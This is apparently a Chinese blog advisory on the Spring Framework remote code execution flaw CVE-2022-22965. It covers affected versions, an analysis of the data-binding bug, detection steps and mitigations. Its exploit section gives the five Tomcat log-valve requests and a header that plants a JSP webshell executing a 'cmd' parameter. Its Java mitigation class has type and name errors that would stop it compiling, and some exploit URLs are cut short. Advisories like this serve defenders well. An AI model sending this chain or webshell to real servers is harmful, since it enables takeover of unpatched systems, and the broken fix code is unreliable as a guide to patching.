0x01 漏洞描述
该漏洞是SpringFramework数据绑定的一个漏洞,如果后台方法中接受的参数为非基础类型,Spring会根据前端传入的请求正文中的参数的key值来查询与其名称所对应的getter和setter方法,攻击者利用这一特性修改了Tomcat的一个用于日志记录的类的属性,进而当Tomcat在进行写日志操作的时候,将攻击者传递的恶意代码写入指定目录的指定文件中。
0x02 影响范围
若满足如下两个条件则确定受到漏洞影响:
(1)使用JDK>=9
(2)Spring开发或衍生框架开发(存在spring-bean*.jar)
spring-framework < v5.3.18
spring-framework < v5.2.20.RELEASE
0x03 漏洞编号
CVE-2022-22965
0x04 漏洞等级
严重
0x05 漏洞复现
0x06 漏洞环境
https://github.com/p1n93r/spring-rce-war
0x07 漏洞分析
Spring参数绑定不过多介绍,可⾃⾏百度;其基本使⽤⽅式就是利⽤ . 的形式,给参数进⾏赋值,实际赋值过程,会使⽤反射调⽤参 数的 getter or setter ;
这个漏洞刚爆出来的时候,我下意思认为是⼀个垃圾洞,因为我觉得需要使⽤的参数内,存在⼀个Class类型的属性,没有哪个傻逼开 发会在POJO中使⽤这个属性;但是当我认真跟下来的时候,发现事情没这么简单;例如我需要绑定的参数的数据结构如下,就是⼀个很简单的POJO:
/**
* @author : p1n93r
* @date : 2022/3/29 17:34
*/
@Setter
@Getter
public class EvalBean {
public EvalBean() throws ClassNotFoundException {
System .out .println("[+] 调⽤了EvalBean .EvalBean");
}
public String name;
public CommonBean commonBean;
public String getName() {
System .out .println("[+] 调⽤了EvalBean .getName");
return name;
}
public void setName(String name) {
System .out .println("[+] 调⽤了EvalBean .setName");
this.name = name;
}
public CommonBean getCommonBean() {
System .out .println("[+] 调⽤了EvalBean .getCommonBean");
return commonBean;
}
public void setCommonBean(CommonBean commonBean) {
System .out .println("[+] 调⽤了EvalBean .setCommonBean");
this .commonBean = commonBean;
}
}
我的Controller写法如下,也是很正常的写法:
@RequestMapping("/index")
public void index(EvalBean evalBean, Model model){
System .out .println("=================");
System .out .println(evalBean);
System .out .println("=================");
}
于是我开始跟参数绑定的整个流程,当我跟到如下调⽤位置的时候,我愣住了:
当我查看这个 cache 的时候,我惊呆了,为啥这⾥会有⼀个 class 属性缓存???!!!!!
看到这⾥我就知道我意识错了,这不是⼀个垃圾洞,真的是⼀个核弹级别的漏洞!现在明⽩了,我们很简单的就可以获取到 class 对 象,那剩下的就是利⽤这个 class 对象构造利⽤链了,⽬前⽐较简单的⽅式,就是修改Tomcat的⽇志配置,向⽇志中写⼊shell。⼀条 完整的利⽤链如下:
class .module .classLoader .resources .context .parent .pipeline .first .pattern=%25%7b%66%75%63%6b%7d%69
class .module .classLoader .resources .context .parent .pipeline .first .suffix= .jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d%79%4a%61%76%61%43%6f%64%65%5c%73%74%75%70%69%64%52%7
class .module .classLoader .resources .context .parent .pipeline .first .prefix=fuckJsp
class .module .classLoader .resources .context .parent .pipeline .first .fileDateFormat=
看利⽤链就知道,是⼀个很简单的修改Tomcat⽇志配置,利⽤⽇志写shell的⼿法;具体的攻击步骤如下,先后发送如下5个请求:
http://127.0.0.1 :8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%66%75%6
http://127.0.0.1 :8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d
http://127.0.0.1 :8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuckJsp
http://127.0.0.1 :8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
发送完毕这5个请求后,Tomcat的⽇志配置被修改成如下:
接着我们只需要随便发送⼀个请求,加⼀个叫fuck的header,即可写⼊shell:
GET /stupidRumor_war_exploded/fuckUUUU HTTP/1 .1
Host : 127 .0 .0 .1 :8080
User-Agent : Mozilla/5 .0 (Windows NT 10 .0) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/99 .0 .7113 .93 Safari/537 .36
Accept : text/html,application/xhtml+xml,application/xml;q=0 .9,image/avif,image/webp,*/*;q=0 .8
fuck : <%Runtime .getRuntime() .exec(request .getParameter("cmd"))%>
Accept-Language : zh-CN,zh;q=0 .8,zh-TW;q=0 .7,zh-HK;q=0 .5,en-US;q=0 .3,en;q=0 .2
Accept-Encoding : gzip, deflate
Connection : close
Upgrade-Insecure-Requests : 1
Sec-Fetch-Dest : document
Sec-Fetch-Mode : navigate
Sec-Fetch-Site : none
Sec-Fetch-User : ?1
可以正常访问shell:
0x08 漏洞自查
可按照以下步骤来判断是否受此漏洞影响:
1.排查是否使用了Spring框架(包括但不限于以下方法)
(1)排查项目中是否使用了Spring框架:
可遍历项目文件查找是否包含spring-beans-*.jar
(2)排查war包中是否存在Spring框架:
检查war包内是否存在spring-beans-*.jar文件,若存在则表示使用spring开发框架;若不存在,则进一步确认是否存在CachedIntrospectionResults.class文件,若存在则表示使用Spring开发框架或衍生框架。
(3)排查jar包部中的Spring:
检查Jar包内是否存在spring-beans-*.jar文件,若存在则表示使用Spring开发框架;若不存在,则进一步确认是否存在CachedIntrospectionResults.class文件,若存在则表示使用Spring开发框架或衍生框架。
2.排查包含Spring框架的项目使用的JDK版本,如果JDK版本>=9则存在风险。
0x09 漏洞修复
(一)WAF防护
在WAF等网络防护设备上,根据实际部署业务的流量情况,实现对class.*, Class.*,*.class.*,*.Class.* 等字符串的规则过滤,并在部署过滤规则后,对业务运行情况进行测试,避免产生额外影响。
(二)临时修复措施
需同时按以下两个步骤进行漏洞的临时修复:
1、在应用中全局搜索@InitBinder注解,看看方法体内是否调用dataBinder.setDisallowedFields方法,如果发现此代码片段的引入,则在原来的黑名单中,添加{"class.*","Class.*","*.class.*","*.Class.*"}。(注:如果此代码片段使用较多,需要每个地方都追加)
2、在用系统的项目包下新建以下全局类,并保证这个类被Spring 加载到(推荐在Controller所在的包中添加)。完成类添加后,需对项目进行重新编译打包和功能验证测试,并重新发布项目。
import org.springframework.core.annotation.Order;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.InitBinder;
@ControllerAdvice
@Order(10000)
public class GlobalControllerAdvicc{
@InitBinder
public void setAllowedFields(webdataBinder dataBinder){
String[]abd=new string[]{"class.*","Class.*","*.class.*","*.Class.*"}; dataBinder.setDisallowedFields(abd);
}
}
注:目前Spring官方已发布安全补丁,建议及时更新Spring至官方最新安全版本来修复此漏洞。
0x010 参考链接
https://github.com/helloexp/0day/tree/master/22-Spring%20Core
https://mp.weixin.qq.com/s/fhufVG57yHESORVywzSCXA
Comments | NOTHING
Warning: Invalid argument supplied for foreach() in /www/wwwroot/blog.lw.al/wp-content/themes/Sakura/functions.php on line 1093